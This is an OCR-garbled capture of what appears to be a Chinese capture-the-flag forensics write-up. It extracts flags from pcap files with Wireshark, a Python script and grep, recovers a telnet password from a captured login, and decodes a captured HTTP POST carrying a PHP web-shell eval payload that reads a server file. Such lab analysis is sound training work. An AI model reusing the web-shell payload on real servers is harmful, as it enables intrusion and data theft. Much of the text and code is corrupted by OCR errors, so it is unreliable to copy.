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1. HEEZR

M networking.pcap - (| X
. MHF) \EE WMEN) BEERG) RO oiTA) &S mEiEY) ZEW) TR FEEIH)

Am 1@ ReRes=7sC[Eaaar {
(N ERELEEE - <ctrl-/> B -+ F
THEFTR v HE v O EaxIs Fife v|[flag | =1, | i
No. Time Source Destination Frotocol Length Info A
35 16.848029 192.168.221.128 192.168.221.164 TCP 54 1146 -+ 23 [ACk
36 17.924431 192.168.221.128 192.168.221.164 TELNET 56 Telnet Data ..

37 17.948031 192.168.221.164 192.168.221.128 TELNET 60 Telnet Data .. nl
38 17.986831 192.168.221.128 192.168.221.164 TCP 54 1146 > 23 [ACk
d 39 17.986831 192.168.221.164 192.168.221.128 TELNET 64 Telnet Data . —
419 18.918031 192.168.221.128 192.168.221.164 TCP 54 1146 -+ 23 [ACk
i 41 18.423632 192.168.221.128 192.168.221.164 TELNET 92 Telnet Data .. v]:
K T
: ]

2> Frame 41: 92 bytes on wire (736 bits), 92 bytes captured (736 bits)
Ethernet II, Src: VMware 84:86:57 (©09:0c:29:84:86:57), Dst: VMware 26:7e:0e (©0:0C:29:26:7e:0e)
Internet Protocol Vversion 4, Src: 192.168.221.128, Dst: 192.168.221.164
Transmission Contrel Protocol, Src Port: 1146, Dst Port: 23, Seq: 83, Ack: 124,
v Telnet

Len: 38

Data: flag{d316759c281bf925d680be698a4973d5}
0000 @@ @c 29 26 7e @e @0 OC 29 84 86 ST 08 00 45 08 - -)&v--- )--_--E
0010 @@ 4e 97 bo 40 00 88 @6 00 00 c@ a8 dd 89 cO a8 N @ oo
0020 dd a4 @4 7a 0@ 17 46 @1 d4 4e 68 fo 2a 7a 50 18 __. 7. <F< Nh-*zp.
0030 01 @@ 3c b7 @8 ee 7b 64 33 31 36 37 - [AREE{d3167
6040 35 39 63 32 38 31 62 66 39 32 35 64 36 30 30 62 59c281bf 925d600b
4 9999 65 36 39 38 61 34 39 37 33 64 35 7d €698a497 3d5)}

@ 7 Data (telnet.data),
3 17.986831  190.168.221.128

2. ffHnotepad++% K, BERTHARER, HEXETE

| 54 59

S4 1146 -+ 23 TACKT Sea=83 Acke=_.

38 byte(s) BERF: 52 (100,08 || EE: Default p

1927168221716 TCP
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3. %S pythonfii4

#encoding:utf-8

#A R 7 SR BOL
file=open("networking.pcap","rb")
HEBOEA R
i=file.read()
HERFR
al=i.find("flag{")
a2=i.find("}",al)
HHERNFR, ek
a3=i[al:a2+1]

print a3

3\FOR_001>py —2 pcap. py

4. windows cmdfir 4

type networking.pcap | findstr "flag"

E: \ETH\CTF\CTF-GH\ JAal 3 \forensics\FOR_001>,

5. linux string fix 4

strings networking.pcap | grep flag
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% strings -a forl.pcapng | grep -i Pwnium
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M passwd.pcap - O X
| () #REE(E) A) TE(T) #EIH
lamae@ ;
(W tcp. strean eq 0 XT=E:
No. Time Source Destination Frotocel Length Info ~
| 53 24.306019 59,233,235.218 59.233.,235,223 TCP 67 39247 -» 12121
l 54 24.306080 59.233.235.223 59.233.235.218 TCP 66 12121 - 39247
55 24.535764 59,233,235.218 59.233.,235.223 TCP 67 39247 » 12121
56 24,535825 59,233,235.223 59.,233,235,218 TCP 66 12121 -» 39247
E
57 24.675695 59.233.235.218 59.233.235.223 TCP 67 39247 -» 12121
58 24.675752 59,233,235.223 59.233,235,218 TCP 66 12121 -» 39247
59 25.016142 59.233.235.218 59.233.235.223 TCP 67 39247 -» 12121 v
< >
> Fr M Wireshark - i8% TCP i (tcp.stream eq 0) - passwd.pcap - | X
> HE if:e0
> Ir |..%. % & ... ccifon ooffontionooc coiffon cofos coooo L soocoocoobe
S Tr |384@0,38400....#.50dacCan:@...."..DISPLAY.SodaCan: 3
Dcooooc xterm. ......... Y ooocooao lcooooces Yoo cooca [Dzco00coss hEE B
flecoooce [ occcas - Lo = lcc Socconcoen0as .
Linux 2.6.38-8-generic-pae (::ffff:108.1.1.2) (pts/ie)
< >
1 ooor | .- -wwwbugs login: l.le.ev.ve.el.l8.8
l a1l
po2¢ | Password: backdoor...@@Rmg8.ate
0o |-
eaa | .-
Login incorrect
wwwbugs login:

FROEWE T HEN, BREAAXNS, hexdump—TEE.




M Wireshark - J&F TCP i (tcp.stream eq 0) - passwd.pcap
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75t Riffiascllig&DEL, &Mk, ODREMZEZE.
s | w | W o - .
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FOI=. R CHREX
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POST /isg.php HTTP/1.1

Cache-Control: no-cache

X-Forwarded-For: 10.197.194.76

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.18/

User-Agent: Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.1.18@

Content-Length: 470

Connection: Close

15G2014=%40eval%el1%28basesd decode28%24 POST#S5Bz0#%5D%29%29%3B&z0=0G1luav9ozZXQoImRpc3B
sYX1FZXJyb3JzIiwiMCIpO@BZZXRTAG1EZVIsalWlpdCgwKTTAC2VOX21hZ2]1 jX3F1b3R1c19ydwWS50all1KDAp
02VjaG80Iiv%2BfCIp0zskRJINZXRTbWFnakNftcXVvdGVzX2dwYygpP3Necmlwc2xhc2hlcygkX1BPU1RbINO
xI1@pOiRfUESTVFsieJEiXTskZnA9QGZvcGVUKCRGLCIYIik7aWYoQGZnZXRJKCRmcCkpe@BmY2xvc2UoIGZw
KTtAcmVhZGZpbGUoJEYpO311bHN1e2VjaG80IkvSUk9S01i8vIENhbiBOb3QgUMVhZCIpO307ZNobygifDwtI
1k77G11KCk7&z1=%2Fvari2Fwwwi2Fhtml%2Fx. tar.gzHTTP/1.1 200 OK

Date: Sun, @7 Sep 2014 16:34:23 GMT

Server: Apache/2.2.15 (Cent0s)

X-Powered-By: PHP/5.3.3

Vary: Accept-Encoding

Content-Length: 18@

Connection: close

Content-Type: text/html; charset=UTF-8

..... >o..y...4. 9...1..8.a..E4.d...b.1lc..i...m....a L XL u il amaUy. Ll QLT
(55 A R Ovewo=.(..]%-

¥postid =R, #tiTurlKbaseb4ffiy, RIMIFBEREKTIE P wmnE, FHARIIZE 5 T T xtar.gz3 .

INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY~ TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS".".!‘LfI" N

@l Lload URL (15G2014=@evalll(base64_decode($_POST[z0])):&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);

% Split URL echo("->|");;$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):3_POST["z1"];$fp=@fopen($F."r");if(@fgetc($fp){@fclose($fp);@readfile($F);}else{echo(*ERROR:// Can Not
=P Read");};echo("| <-");die();8z1=/var/www/html/xtar.gz

» Execute

[] Post data [ | Referrer 4™ OxHEX ™ & %URL ¥ &% BASE1 B Insert string to rep/a&‘ ‘ Insert replacing string Replace All !

I1SG2014=

@eval(base64_decode($_POST[z0]));
&z0=@ini_set("display_errors","0");
@set_time_limit(®@);
@set_magic_quotes_runtime(0);

echo("->|");
;$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];
$fp=@fopen($F,"r");
if(@fgetc($fp)){@fclose($fp);@readfile($F);
}

else

{

echo("ERROR:// Can Not Read");

¥

echo("|<-");

die();

&zl=/var/www/html/x.tar.gz
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